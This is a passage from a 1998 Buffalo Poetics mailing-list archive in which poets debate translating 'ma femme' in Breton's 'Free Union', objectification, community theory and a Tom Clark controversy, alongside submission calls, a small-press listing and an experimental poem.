And one facet that Breton did *not* intend. The date of composition of the poem is 20 & 21 May 1931. Breton had by then been definitely separated from his first wife for a number of months, was thus unmarried, footlose and “cherchait la femme,” and was in fact alone that month after a number of brief liasons. And he had not yet met the woman who would become his second wife, Jacqueline Lamba, to whom he would write in a letter dated 4/10/39: “greet the beautiful landscape [of Lyons-la-Forét where she was] which after all inspired me to write ‘Free Union’ for you whom I didn’t even know then.” Of course he kept on to "chercher la femme," and on the copy of his volume _Poèmes_ which he offered to his next (3rd & last) wife Elisa in 1948, Breton wrote as dedication:”’My wife with hair...’ / so it was you / my love / so true I didn’t back then / give it a face / though it was in early 1931/ that you came to France / for the first time.” Breton certainly addressed the poem to “l’éternel féminin,” and not to the /a / one or the other / spouse.

Final verification: I just read the French poem to mi compañera who happens to be the genuine article, ie native French, & asked her who she would translate it into English — "lady" was what she said immediately (and Paul Blackburn may well have used that term, had he translated the poem) but rejected "wife" out of hand.

PS. In an early ms. of the poem, he compares “his” woman’s breasts to “la beurrée verte,” — a strange cocktail consisting of 1/4 absinthe, 1/4 gin, 1/4 beer and 1/4 basic eau-de-vie. He dropped that image in the final version.

Pierre

Tom Mandel wrote:

> *Pierre writes:*
>
> *"in French it's of course "ma femme" —*
> *the translation I use is Antin's which says "my woman" -- but there*
> *exists another more recent one that tries to p.c.fy (I guess, or else*
> *legalize the free union) the poem by translating "ma femme" as "my*
> *wife." Does that make any difference?"*
>
> *The American English phrase "my woman" is simply *not* a translation of the*
> *French "ma femme". In French, that phrase *means* (denotes, points at,*
> *identifies) "my wife." Just as "ma femme de menage" *means* my maid and not*
> *"my woman-who-orders-household."*
>
> *The phrase "my woman" is full of romantic (literarily, I mean) overtones*
> *and symbolic connections (to "woman"), and universalisms (viz. a man and a*
> *woman). Using it in the translation skews the poem.*
>
> *Breton is *investing* the quotidian relationship -- husband and wife --*

> *with qualities foreign to it or transformative of it, and investing the *object* he views from within that matched-pair relationship with mystical qualities. Using "my woman" to translate "ma femme" removes the point of the poem entirely. The result -- to me -- is utterly leaden. Whereas in French I liked it a lot.*
>
> *I highlight the word *object* because obviously the poem *objectifies* his wife. Ooooh, the shame of it. And, if I've effectively (however lightly) skimmed responses to it here, this fact has not gone unnoticed, as many a better-knowing head has nodded.*
>
> *One of Tom's Ten Ways To Let The Fly Out Of The Bottle (available to grad students at a nominal cost) is this: *all* sex and all sexual relationships involve objectification. More sex implies more objectification. Or, as Breton might have said on one occasion or another: "amusez-vous bien."*
>
> *)Now I'm going to hear it!(*
>
> *Tom*
>
> *Tom Mandel* [redacted]
> **********
> *Screen Porch * http://screenporch.com*
> *4020 Williamsburg Ct, Ste 200 * vox:* [redacted]
> *Fairfax, VA 22031 * fax:* [redacted]
> **********
> *Join the Caucus Conversation*

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
— La Rochefoucauld
==========

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274. Taylor Brady
Call for Submissions
Sat 7 Feb 1998

Cartograffiti, a new electronic magazine, requests submissions of original work in the following categories:

1) Prose works in literary and cultural criticism, including close readings; literary, cultural and political theory; journalism; and publication reviews.

2) Poetry and fiction.

3) Visual texts, including visual poetry, photographs and photographic reproductions of paintings, prints, etc. I would also like to encourage submissions which reconsider more “conservative” (usually due to publication expense) forms of textual visuality, e.g., photo-documented art and architecture criticism. If there is enough response, I would like to run a special issue on the poetics of the photographic essay. (NOTE: PLEASE DO NOT SEND ORIGINAL ART WORKS BY MAIL WITHOUT MAKING SOME PRIOR ARRANGEMENT WITH ME).

4) Multimedia and hypertext works, or projects written specifically for presentation in a web-based electronic medium. Here I would encourage poets and writers who have given some thought to hypertext as a compositional medium, but who lack the necessary technical training in HTML or other electronic text languages and software to approach Cartograffiti as a virtual gallery space. In other words, send me a proposal for an installation, and, if I have the time and interest, I’ll help with the staging. Obviously, the number of such projects I can do at any given time is extremely limited.

Send work to:

Cartograffiti
c/o Taylor Brady
155 Park St., Upper
Buffalo, NY 14201

or, if it is possible to present your text as ASCII only (or as an ASCII text with a short series of formatting instructions), to [redacted]. Please do not send work as an e-mail attachment.

An early, abbreviated version of the first issue, featuring visual work by Michael Basinski and Wendy Kramer, is available online at
http://writing.upenn.edu/~ltbrady/cartograffiti.

Taylor Brady
editor, Cartograffiti
co-editor, Small Press Collective
Visit the Small Press Collective homepage at
http://writing.upenn.edu/AandL/english/pubs/spc.

<HTML> <BODY TEXT="#000000" BGCOLOR="#FFFFFF" LINK="#003399" VLINK="#006600" ALINK="#FF0000"> Cartograffiti, a new electronic magazine, requests submissions of original work in the following categories:

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275. Michael McColl
Steve Evans article?
Sat 7 Feb 1998

Would someone kindly backchannel me with a reference for the Steve Evans' article on poetry that was recently discussed? thanks, Mike McColl

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276. Keston Sutherland
advertisement
Sat 7 Feb 1998

Barque Press, a little outfit newly transplanted from Cambridge (I) to Cambridge (II), has a few titles from its list currently available in the US, if anyone's interested. These are:

Andrea Brady	_open bond_ (96)
Andrea Brady	_Of Sere Fold_ (97)
Jordan Davis	_Upstairs_ (97)
Keston Sutherland	_Girls At Trusion_ (97)
Keston Sutherland	_At The Motel Partial Opportunity_ (98)

All are $3 including postage, except the _Motel_ piece, which is bigger/glossier hence: $4.

Anyone keen, e- me with an address.

Thanks, Keston

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277. Rachel Levitsky
Love poems
Sat 7 Feb 1998

P. Pritchett wrote:

As for the gap between American and French feminism, I'll have to get back to you on that - I just don't know enough to make an intelligent comment on the

situation. From what little I've read, there seems to be a perception, at least here in the US, that French feminists have moved so far into the poststructural camp as to neutralize the enactment of any coherent political agenda. And that's because the political front of feminism has thus far relied on - in a sort of gentlewoman's agreement - to set aside the issue of essentialism vs. constructionism, and for the sake of promoting specific socially progressive programs, etc. acted as though there were no ontological rift, that something called the "universal woman" exists and can be appealed to in arguments with legislators and the like. It's a very interesting problem.

Yes Pat, excellent post, as Lorenzo Thomas said this summer at Naropa re: representational poetry/narratives and social change. They are _not_ the same thing. Cool & Free language and ERA doesn't make.

Rachel

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278. nikuko
From Kon as well (this is from both of us!)
Sat 7 Feb 1998

(Hey, sorry guys, no sex in this one! But K & I think _a lot_ at times!)

The Game of Japan (of Signifiers)

Mendicant monks, we are on the road of total dissolution, along which a stream hampered by concrete flows, down predestination, we're carrying the magatama jewel, curved like liver like tear like conch like Nikuko, we're biting the head off to make kami-gods, we're biting the middle to make more of 'em, we're biting the tail, just when we thought there wasn't any more, we're biting each other, falling over in the ha-ha-onsen, suddenly switched, I've got my mouth fastened on some nether parts of me that hurt hurt hurt, they disappear along with the rest of my jewels, so like liver like tear like conch or ouroboros, I go in, she's elsewhere, smarter with all this Nikuko- biting, oh reader here I am!, until somewhere my toe meets my head and I'm an inch of flesh, all necessary for the jewel-cushion, Yasaka-jewels, you would've heard of them! on the couch, coach, shaped like conch - see where language gets you, not a bit of it!, hurt hurt hurt, you'll never guess what I'm typing with (it's not what you think, Yasaka!), I'm sitting on the conch

ii

We travel to Beppu where we make a big storm and a tsunami fills all the onsen with frothy-fish-foam and someone makes an island.

iii

There are trees on the island, there's a dragon and a cave made of burning human skin, the skin grows from the outside in, it's like a yakitoriya there, all warm and would-be pretty good to eat, but the dragon likes the roof, her flame goes out in the rain, you can only imagine the rest of this, how we burrowed and made little rooms for ourselves, ringing our begging-bowls, playing shakuhachi, until she gave up, in, out, 10,000 yen for the troubles, and how they emerged in Ireland.

iv

We leave the island, heading for a place that makes crows constantly.

v

In this place, there's a parliament of birds deciding on a proper constitution. So it includes homage to the emperor, a clean death for all traitors, exchange students and retributions well-crafted for certain crimes and misdemeanors, take care of the shrine! which means liquid for everyone, you might think someone would care in the midst of all this chaos. But now there's a text and everyone can read, and happily everyone does the production, even criminals who gladly retribute. Now we collect money from the criminals, because we rebuild the onsen, that's so necessary. It's quite nice now and not very expensive, and a writer like me can disgorge, unravel, open up like a box of shogi pieces which can't play the game of Japan. I will sit down at my desk with my brush. I will ink the inkan and ink the computer. I will portray my whole life, mendicant, auspicious, medieval. You will not believe the lovely jewels, curved, bitten in three places, tongues torn from mouths, just lovely talk. There's no mouth (against which the tongues) pressed against the skin against the dragon cave. The skin against the cave was comfortable, warm, worn; the cave wore the skin.

vi

The skin against the cave was the cave, the game of Japan.

vii

I sit at my desk and oh I am bleeding to death! I cannot, oh, type, touching myself in this matter, the A B I D E already have disappeared "in the manner of painting." You will see depth when something goes wrong and there is a big fixture (interlinear chandelier) in a space in which I am a magatama jewel. Now you will bite me in three places, what I call "the game of Japan."

viii

The apology for all peoples, which I make, a life of regret. That I am not all peoples, that I am on the exterior of any skin for any house containing any plant or animal. I am called a "covering." A "covering" may be a surface with thickness, and may serve the purpose of rainful- keeping-away. Together we meet again

and shake hands and smile and the sun is warm (we have made it that way). And we are mendicant monks; we are wandering. We're on the road of total dissolution. There's a stream hampered by something or other, and we've got these jewels.

ix

I'm bitten.

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279. **Henry Gould**

Re: a posting to poetics (late)

Sat 7 Feb 1998

I also enjoyed Dan's poem as independently as the three of us could. I think politics is in the air (always), inescapable, and is actually made by people who make difficult decisions, usually involving renunciation, in order to "go public" or get involved. Such decisions then become part of the atmosphere WITHIN the poem and add to its depth. Anyway, this is just one angle on a many-sided phenomenon. What I wanted to say was it seems important that Dan framed his "transition" via Pound's transition out of Whitman. But in political terms I think one might just as well stay with Whitman and the Gilded Age and the Populist movement of a hundred years ago, the milieu Whitman was saying farewell to. The underlying theme of gardening and the earth speaks to that earlier (pre-Pound) tradition as much as or more than to the Pound & post-Pound era. As I see it, in a global economy where Brazilians & Indonesians are forced out of work & off-land by the millions; where small American farmers are becoming a thing of the past; where "government" as we knew it (based on civic involvement) is fading - the struggle is really between the common good and Mammon. This is a simplistic (populist) view, but I think the idea of a populist solidarity of consciousness regarding re-establishing local/state/ national government responsibilities regarding land, access to skills, access to housing, and other basic necessities of civil society is more fruitful than either sub-governmental identity politics or euro-style socialism. Post-beat, post-New York, post-langpo poetry might just as well go back to Whitman and start fresh. Plus we have peazles for everybody. C'mon along! - Henry Gould

p.s. I hope Dale Smith will hang around. & I scorn with utter scorn you scolders out there who whenever somebody gets into something negative - criticism for the academy, questioning a poetics, challenging the networks - you have to chime in with your scolding and cheerleading, i.e. "yeah, let's talk about COMMUNITY..." - as if raising questions about some of the stagnating aspects

of community isn't doing just that. Go scold yourselves. If you don't allow criticism your communities are bolshie-fascist consortiums of dead brain matter.

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280. Rachel Levitsky
Re: movie query
Sat 7 Feb 1998

Thanks all who responded with the movie. How embarrassing, mistook _The Conformist_ for French. So "Breathless" it is!

Mark Weiss wrote:
>
> Godard's "Breathless."
>
> At 01:19 PM 2/5/98 -0500, you wrote:
> >So I wrote this poem from an image which comes from a gesture in a movie
> >and I think it is The Conformist, not sure, must know. Having a bit of
> >trouble finding it to rent in the neighborhood, haven't gone further
> >yet.
> >
> >Here it is: A man in a black trenchcoat gestures to a woman by placing
> >his thumb on his lips. She does the same, perhaps later. It's French.
> >
> >??????
> >
> >thanks,
> >rachel
> >
> >

↑ Index

281. david bromige
Dale Slander Context and Smith
Sat 7 Feb 1998

(my attorneys). Well, Dale, let's recall you kicked off this "reasonable discussion" by slandering me. Your excuse--that caused you to had lost the famous Dale Smith temper--was that I had made unsubstantiable remarks, slurs, about Tom Clark.

I and others have done a great deal to substantiate these remarks since then. But you learn nothing. You don't address any of our discussions. You sit back

and continue to fling doo-doo at anonymous targets. Cowardly, wouldnt you say?

I can't imagine why you want to be on a list whose membership is trained to identify issues and then explicate a point of view with constant reference to that issue. All you appear capable of, is bitching and moaning.

I regret that Tom Clark is not on this list. I have written nothing about him and his work, here--or anywhere else--that I would not say to his face.

Dale, another point : speaking of _taking_ things out of context, Aldon Neilsen tells me that you re-print postings from this List in your magazine, without the permission of the authors (or, presumably, the Listmaster, who has told me that this is against the list-protocol). True, or False? David

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282. **KENT JOHNSON**
Good sex
Sat 7 Feb 1998

Pierre:

Your reply to Tom Mandel which just came on ("re: ma femme"-- sorry, accidentally deleted, so not below) argues that "femme" is best read as "woman" rather than "wife". However, looking at Antin's translation in Poems for the Millenium, I see that the choice is "wife," which you refer to in your reply to Tom as a "PC ified" interpretation. Just wondering if you might be thinking of substituting DA's version with another in future editions?

Also, I was happy to notice that Tom makes an argument about "objectification" that is similar to mine. My only difference with Tom here would be that "objectification" is a quality intrinsic to the "erotic gaze" but not necessarily to the climactic levels of sexual union, where erotic objectification, along with everything else, more or less ceases to exist. At least when sex is good. I still say that 'Free Union' is not a poem about "ownership" but rather a very healthy yearning for good sex transformed into ecstatic verse. Breton the sexist transcends his plebeian sexism here. Hurrah for poetry.

Kent

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283. **Pierre Joris**
Re: spraying the communities
Sat 7 Feb 1998

Danny Huppatz wrote:

> *nancy, bataille and blanchot (in "the unworkable community")*

Danny,"unavowable" is how I translated it, which ain't "unworkable" -- given that the French is "inavouable." That's Blanchot's term. Nancy's term (taken from Blanchot) is "désoeuvrée" -- an extremely difficult term to translate: the translator of the Nancy book used "inoperative" which it ain't either. In my intro to Blanchot's book, I tried the word "the unworking" for "désoeuvrement." (If you don't have access to the book or my intro, adn are interested, let me know & I'll post the page or so I wrote there about the difficulties of translating this word/concept on the list or backchannel. -- The word is important because it is a concept, maybe one of the most interesting ones in Blanchot's work)

Pierre (who these days seems to be slugging it out in the fields of translation again, ugh)

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
  — La Rochefoucauld
==========

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284. **Aldon Nielsen**
Re: Slander and Context
Sat 7 Feb 1998

At first I thought Dale's post was supposed to be a satiric instance of the topic indicated in the subject line.

but that delusion is hard to maintain to the end of the piece --

check out the lines about the supposed intolerance for anything that doesn't reek of Derrida -- then, if you happen to be new to the list, look back through the archive at some of the rather heated exchanges about Derrida in the past -- and that's a particulalry odd charge to make in the context (yes, there is one) of discussion about an article by Tom Clark on Barrett watten and others --

and what's this "at least" about Clark's articles in the context of a community he was a part of? that need some explaining, unless the community in question is

all the book stores of the United States Fact of the matter is that there are severe problems of logic and evidence evident in Clark's essay, some of which have been adduced in the process of this exchange -- and none of which have anything to do with refusal to hear dissent --

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285. **Danny Huppatz**

Re: spraying the communities

Sat 7 Feb 1998

---

it seems to me joshua (& louis) have raised some key issues with regard to thinking politics & its relation to culture. if, as louis suggested, community is an imaginary construct, perhaps it is also, importantly, a political construct. that is, i think of this list is in a sense, a new kind of community, a community with a range of new possibilities (a literary community that allows easy exchange inside/outside the academies, over national borders?).

politically, a thinking of community needs to be fluid. as louis suggested, poetry is always written from within a community, it has to be - & this literary community it comes from extends not only through space but through time.

following derrida, the writing of jean-luc nancy on community offers some interesting insights on contemporary concepts of community. briefly, nancy suggests (out of bataille & blanchot) community as a process that allows the possibility of constructing particular, specific subjectivities. more precisely for a literary community, a community that is articulated when the limits of language/knowledge/subjectivity are reached, a kind of exposure that unworks any simple transfer of meaning.

nancy, bataille and blanchot (in "the unworkable community") think community not as a abstract formal category, but as an operation, a process on the material plane, a passing-between at the fluid borders between singularities. i use the term singularities rather than subject because it allows several (an infinite?) number of singularities within a subject. its a little philosophical (sorry) but a way of thinking beyond the "outcasted male/female individual hero" character. perhaps also deleuze & guattari's notion of the book as an assemblage - with the "author" merely one point in the convergence of variously formed matters, different dates & speeds ...

sprayed thoughts

dan

dan huppatz
melbourne

↑ Index

286. **david bromige**
sex power poetry
Sat 7 Feb 1998

I think Chris Stroffolino's posting says volumes, makes all kinds of sense of the process whereby not only a *love* poem gets to be. (I hadnt heard the diggers : "to love is to fail," before, either; something to chew on.) I can remember the first poem I ever wrote (unfortunately), and it was a love-lament; but I can't remember who had made me blue enough to write.

I thought Chris had written "minneswingers" but that was me reading him.

Like to applaud Kent's post re-objectification, also. (It was a good place to remark that humans qua species are cannibal). Amorous companions (depending upon temperament) may become further aroused by having their parts named and appreciated--"pointed out," I suppose. The poetry-reading is not the bedroom, though. I remember my wife (a former wife) taking exception to a poet (here nameless) describing his penis (still attached) floating in the bathwater: "I dont want to have to picture _that_ "

This-all started, right?, when Robert Hale reported scant success resulted from giving that Breton poem to a romantic interest? Perhaps there's a touch of "one-size-fits-all" about sending another man's poem to court the woman you want to make "yours". What if she falls for Breton instead? The conclusion to that thought is, "write your own and give her that," but I never did, not until it was too late, or otherwise a redundancy. During courtship, I may have said lines from other people's poems, but I tried to disguise them as my own, spontaneous phrases. And in fact it was spontaneity, recall on the instant. Anyway, I have met Robert Hale, and I don't think he needs Breton or any of those latin lovers to help him.

George Bowering, before he married himself, used to say love-poetry to my wife (my former wife), with what success I was never quite certain. I know that she laughed a lot whenever his name came up. She admired his fingernails, too, in those years romantically stained with nicotine.

db 3

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287. **Maria Damon**
Re: a posting to poetics (late)
Sat 7 Feb 1998

---

whew, i'm relieved! after i sent that post, i didn't get any POETIX mail for over a day, and started to fantasize that i'd just thrown my community away w/ my grandiose challenge: are the books we read or write worth the trees it takes to print 'em? don't think i don't ask this about my own work. anyway, sorry for blurting out my unlovely trade secrets in my usual compulsive rush to share all... my apologies to all. it's not tax season for me as it is for herb, but other circumstances are conspiring to warp my personality still further...md

At 11:26 AM -0800 2/6/98, William Marsh wrote:
>maria
>
>why not ask that question of books? -- no excoriating responses here / this
>is one of the reasons i adore chapbooks, and small press runs, and the
>"made-to-order" policy of some micropresses -- seems like such an efficient
>use of resources (in most cases, not all) -- not to mention the aesthetics
>and practicality of the chapbook mode: ease of portability, speed of
>production, light weight (fits well in the backpack or back pocket, etc.),
>reading in one sitting (generally) / a friend of mine starting a magazine
>mentioned that he'd decided to find more money and go upscale for fear that
>readers would treat the lowscale production as a disposable item -- i was
>disheartened by this, treasuring perhaps more than my perfect-bounds the
>chaps and *little* books coming from presses extinct and extant: i think of
>them as something like notations of a more current practice, a little more
>fresh and alive sometimes than the slicker flat-spines (staple-lovers
>unite?) / i'm trying to get a small chapbook series off the ground and hope
>to tap into some of these values -- using all tools and materials as
>efficiently as possible in a small way similar to the way native americans
>used the whole buffalo, hide to marrow / waste and inefficient use of
>resources analogous to the practices of factory farms (recycling cow parts
>into cow feed doesn't cut it for me) is again another thing that motivates
>on several fronts, poetic and otherwise / as for trees (it's all related,
>all of it) we save a lot of paper here on Poetics, and e-mags obviously
>offer an attractive alternative, plus personal web publishing, etc. / i
>wonder though if anyone has calculated the resource-draw of all this
>personal computer use (silicon, plastics, electricity, phone lines,
>capital, etc.) / what uses more resources, for example: a 1/2 ounce letter
>posted in the mail, or a 5 Kb file posted to Poetics? (all things
>considered) / i'd assume the former, but i ain't sure
>

>all best,
>bill
>
>At 07:59 AM 2/6/98 -0600, maria damon wrote:
>>At 10:12 AM -0800 2/5/98, William Marsh wrote:
>>>At 08:56 AM 2/5/98 -0500, daniel bouchard wrote:
>>>>PAX
>>>>
>>>>I make a pact with you, Ron Silliman--
>>>>I have admired your poems long enough.
>>>>I come to you as a prodigal pup;
>>>>Weaned at a dozen fat anthologies.
>>>>I am old enough now to make an end.
>>>>Whitman broke the new wood,
>>>>Pound put in time to carving.
>>>>We watch the blasted stumps in the open fields
>>>>Leak black ink of American grain.
>>>>
>>>>I make a pact with you, venerable LangPoets--
>>>>I have invested in your works long enough.
>>>>I look back at you as a honorable bunch
>>>>Laying new asphalt over the old roads;
>>>>I am old enough now to map an end.
>>>>It was you who splintered the carved wood,
>>>>Now it is time for recycling.
>>>>We have a cool climate and a rich soil--
>>>>Don't let the mulcher come between us.
>>>>
>>>>I make a pact with you, my contemporaries--
>>>>For to know you better there is time enough.
>>>>I come to you with no gifts
>>>>But that of mutual comradeship;
>>>>I am ready to make friends.
>>>>Look around us at all this damned wood,
>>>>It is time to sort out what you want.
>>>>We have glasses of water nursing new roots--
>>>>Let there be communication between us.
>>>>
>>>daniel
>>>
>>>i'm interested in your statement here, especially given the fact that about
>>>80% of old-growth forest in the U.S. has been lost (most of it to create

>>>land for grazing livestock and/or growing livestock feed) and topsoil
>>>depleted 75% for sake of same (not to mention chemical contamination of
>>>soil and water--fertilizers, etc. to sustain growth) / so i have to admit
>>>the running conceit here ("wood," "rich soil", "water nursing new roots,"
>>>"recycling") resonates oddly for me--not just for its irony, intended or
>>>not / the "American Grain" you refer to and "American Tree" by implication
>>>as well lead me to think that what does separate writers today from the
>>>"Tree" group is precisely our relationship to REsources, figuratively and
>>>literally -- the american tree hasn't just been carved and splintered, it's
>>>been cut down, paved over, then re-paved / planting "new roots" through
>>>this kind of surface and in this kind of soil would be difficult indeed,
>>>probably impossible / hydroponics and tree farms: maybe that's where the
>>>future of poetry lies if we pursue the metaphor
>>>
>>>i don't know where you hail from, but having spent some time working on
a
>>>farm in Illinois (shutting windows when the pesticide truck comes through,
>>>watching hillsides wash away, cleaning contaminated wells, etc.), i have a
>>>hard time getting past the literal here / but quite seriously whatever pact
>>>is made among writers today i think it needs to account for this new
>>>relationship (to wood and word) / the invitation to "mutual comradeship"
>>>however is gladly accepted
>>>
>>>best,
>>>bill marsh
>>>
>>
>>funny you shd mention this, bill; but it reminds me of something that
>>resonates w/ the other list-thread on the honesty or not of critics. one
>>thought i always bring to books when i review them is, "was this book worth
>>cutting down trees for?" of course the answer is almost always negative
>>but of course i don't feel i can say that in a review, it sounds way too
>>harsh. but often i think that way: if this is an assistant professor
>>coming up for tenure, and needs to publish, is it worth the trees? if this
>>book is by a dean or tenured full prof whose future is not at issue, is it
>>worth the trees? you'll notice that content has not yet entered the
>>picture. that's because, with very few exceptions, most of the academic
>>manuscripts or books i'm asked to review *really* don't add much to human
>>knowledge, and certainly don't add as much as trees do to the quality of
>>human life. so, i'm expecting excoriating messages back from all and
>>sundry, accusing me of utter corruption. so ask yourself: is *your* book
>>worth the trees? most of us have such small print runs it's okay (yes, i

>>think about that too), esp the chapbooks etc., and those show such a
>>spirited do-it-yrself energy that i think they're definitely worth it; i'm
>>talking mostly about the academic book industry.
>>
>
>
>- -
>William Marsh
>PaperBrainPress
>Voice & Range Community Arts
>National University
>[redacted]
>http://www.dtai.com/~bmarsh
>snail: 1860 PB Dr. #4
>San Diego, CA 92109
>- -

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288. **Gwyn McVay**
spice power poetry/Acker
Sat 7 Feb 1998

Apropos of nothing in particular, I like the Breton poem quite a bit more than the Plath poem, and nothing you can say could tear me away from my guy, my guy.

There's a thoughtful article on Kathy Acker in the new /London Review of Books/--oddly bedfellow'd next to an article by Helen Vendler about Amy Clampitt--as well as a new Ashbery poem, presumably from the forthcoming book.

Gwyn McVay

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289. **Pierre Joris**
Re: Good sex
Sat 7 Feb 1998

Kent -- hmm, sitting here late nights with some sippin'whiskey and posting to the list when I shld be in bed gets me muddled at times. Yes, the version of the Breton poem in the antho is Antin's and it uses the word "wife." It's a great version & totally likeable in exactly the way Tom described its eroticism as functioning — and as such things happen may have become _the_ american version. But I maintain my trasnlator's argument: "my woman" is what Breton meant, he

may, does indeed insist that it is THE woman, the one "l'amour fou" or "Nadja" evocate, the main squeeze, the top lady, lo que quieres, but not that legalized union thing.

For the rest I very much agree with your take as what the poem. Yes, it is not about ownership! There are two early versions before Breton gets the poem right -- with varying insistence or mentioning of body parts. Had I but the time, a learned exposé of why certain body parts are omitted or muted or relocated or exalted differently from the first draft to the final poem would be fun to do.

Pierre

KENT JOHNSON wrote:

> *Pierre:*
>
> *Your reply to Tom Mandel which just came on ("re: ma femme"-- sorry, accidentally deleted, so not below) argues that "femme" is best read as "woman" rather than "wife". However, looking at Antin's translation in Poems for the Millenium, I see that the choice is "wife," which you refer to in your reply to Tom as a "PC ified" interpretation. Just wondering if you might be thinking of substituting DA's version with another in future editions?*
>
> *Also, I was happy to notice that Tom makes an argument about "objectification" that is similar to mine. My only difference with Tom here would be that "objectification" is a quality intrinsic to the "erotic gaze" but not necessarily to the climactic levels of sexual union, where erotic objectification, along with everything else, more or less ceases to exist. At least when sex is good. I still say that 'Free Union' is not a poem about "ownership" but rather a very healthy yearning for good sex transformed into ecstatic verse. Breton the sexist transcends his plebeian sexism here. Hurrah for poetry.*
>
> *Kent*

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
  — La Rochefoucauld
==========

↑ Index

290. **Louis Cabri**
colding & heating
Sat 7 Feb 1998

Much as Don Byrd distinguishes between the Idea of the University and the administrative, regulative, dissimulating "freedom" given by the university that is in fact an ideology of internalized constraints on what can be thought, done, and dispossessed, there is a distinction, following on Dan Huppatz's recent post, to make between individuality ("real") and singularity ("ideal"). I didn't make it in my last post. Individuality comes from individualism which is a political philosophy that has organized capitalism as we live it: no news there. Anarchism was once a powerful alternative - at the First International, over a hundred years ago, somewhere else (Europe/England). Singularity, on the other hand, is something elusive that can be found, sometimes, in poetry, always, in people. I and S might sound like they're the same thing. That's an illusion of representation. The one is not necessarily - at all, I'd stress - founded on the other. Singularity can be found in texts operating within different "metaphors we live by" than the cluster of metaphors constituting everyday late capitalist fuck that fuck you individualism (*we* are all up against the wall screaming, or chanting, fuck that fuck you). It can be found in texts operating even by the paradoxical metaphor of "aesthetic tendency" or "group formation." Similarly, whatever the opposite of singularity is - the bland, the generic? - it can be found in the poetic texts of the most forceful individualists. All of us are talking here, not writing poetry. What we are talking about has got to do as much with how we live our lives - according to what political codings - as it has to do with issues of poetics and of texts.

On another related point, and directly contrary to some of the views recently expressed here, I think the one indisputable addition that "langpo" has given to "our" understanding of the politics of poetry is exactly poetry's *institutional* politics over the last six or so decades in the US - and that embraces the present moment still. But the present moment is a fleeting thing. We need to hold on to that hardwon - it cannot be stressed enough (but I didn't say "hardon") - political knowledge, make more of it apply to everywhere, including to the fact Laura Moriarty indicates, that writing poetics latches writing to agency in a way that writing per se won't, using it to dismantle the *byt* in all our systems, as Henry in his last postscript recognizes, whether they be the institution of the listserve, the institution of the individual or group, or the institution

of the academy. Open the doors. Let secret histories be flagged (a form of opening) as secret histories that can't be revealed.

The academic politics of poetry are not the only politics "out there." There is no reason why it should dominate this list. To have that would be a tragedy of myopia of enormously dumb proportions. The trees! Such a view is the failing-block of pedagogies that assume the walls of the classroom are the walls of the world. That space is a minute zone danced upon by Tom's flies (fly dry, fly) forever puzzled by McCaffery's bottle (I often do that dance and recognize it in others). The extent of its commitment to community is small - it is as Don says, ideally practiced by a few (yes, individual initiative!). That applies everywhere, though - not just in the university. After all, it's the condition of our daily life to be separated and only joined through the vague (bless Emerson): "I didn't know that in objectifying social relations I was having sex with them."

-Louis

↑ Index

291. Karen Kelley
male-identified female poet
Sat 7 Feb 1998

Laura, you mention the "male-identified female poet."

What does this term really mean? Anyone else have a definition?

Karen

↑ Index

292. Don Byrd
Re: the T. Clark thread (and various others)
Sat 7 Feb 1998

A law:

In any institution, the viciousness of the back-biting and the loudness of the whining are inversely proportional to the seriousness of the issues and the proffered rewards.

Backing-biting can be half retrieved by wit; whining can some times be converted to reasonable wit. This compensatory relief seems to have failed us.

--
****

Don Byrd ([redacted], [redacted])
Department of English
State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (home); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

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293. **Poetics List**
Nikuko [?] = [?] Sondheim
Sat 7 Feb 1998

Just to clarify for any of you who may filter out the full email header that establishes the subscriber ID for any Poetics List message:

Date: Sat, 7 Feb 1998 15:30:21 -0500
From: [redacted]
Subject: From Kon as well (this is from both of us!)
To: [redacted]

↑ Index

294. **Joe Brennan**
Re: freud's trick
Sat 7 Feb 1998

---

rd

thanks for your response. the freud i know is different from the one that you describe. as some feminists have pointed out, his is the only theory of desire that we have. freud has probably done as much as any man in the ongoing effort to free women from the sexual stereotypes they were/are expected to conform to. i've read irigaray, paying special attention to specuulum of the other woman, and to be truthful i wasn't particularly impressed. in that work her rhetoric is very intense, as intense as the time in which it was produced. for me irigaray will only have lasting value to the extent that she's able to contribute a new vision of human sexuality & desire. her remarks have nothing to do with psychoanalysis, but only address the cultural mileau in which it developed. i find her remarks on lacan, within a context of psychoanalysis as theory, to be without any intellectual mooring. on the other hand, literally, she has the soul of a poet and is worth reading just for that. i understand my position isn't very popular these days, but generally the opposition i encounter is from observers

who understand freud & lacan as philosophical entities that define a world view. nothing can be further from the truth. analysis is the most ethical praxis because it insists that all levels of desire be acknowledged whenever there's any human intercourse, but it is always (as olson points out)local. as freud advises at the beginning of the first introductory lectures, those who haven't undertaken an analysis are in no position to comment on it. anyway, i thought your remark was gratuitous and deserving a at least a small response.

jb

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295. **Joe Brennan**
Re: Incorrect
Sat 7 Feb 1998

I think the response to the poem depends on whether you're a poet or a cop.

joe brennan

↑ Index

296. **robert drake**
Re: Steve Evans article?
Sat 7 Feb 1998

> *Would someone kindly backchannel me with a reference for the Steve Evans' article on poetry that was recently discussed? thanks, Mike McColl*

"The Dynamics of Literary Change" vol1 #1 of the Impercipient Lecture Series, Feb. 1997. New address: Steve Evans, #9 rue Quinault, Paris 75015 France. email: [redacted]

↑ Index

297. **Louis Cabri**
(no subject)
Sat 7 Feb 1998

Hey, I've just discovered the UBPoetics archive function.
Since the beginning of February, there have been as
of this moment of writing 290 posts to Buffalo Poetics
sent from 103 email addresses. There are rumoured to be 600
subscribers (but I haven't checked), or roughly a six-to-one ratio
(or is that five-to-one?? my math...). Of those 103 active
addresses, 6 are owned and operated by Henry Gould under
various pseudonyms that this captive audience is familar with.
So far this month the average is 2.8 posts per active email address

(that's pretending Henry's 6 email addresses are separate people; the average figure would otherwise be lower than that). Henry Gould's total so far in February - in seven days, that is - is 22 posts, or about ten times as many posts as anyone else.

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298. **Henry Gould**
Re: colding & heating
Sat 7 Feb 1998

Let me get this straight, Louis. Individuality is a phantasm of capitalism. But singularity is that elusive something (only anti-individualists can recognize) found in every person & in poetry. Okay. I think I got that.

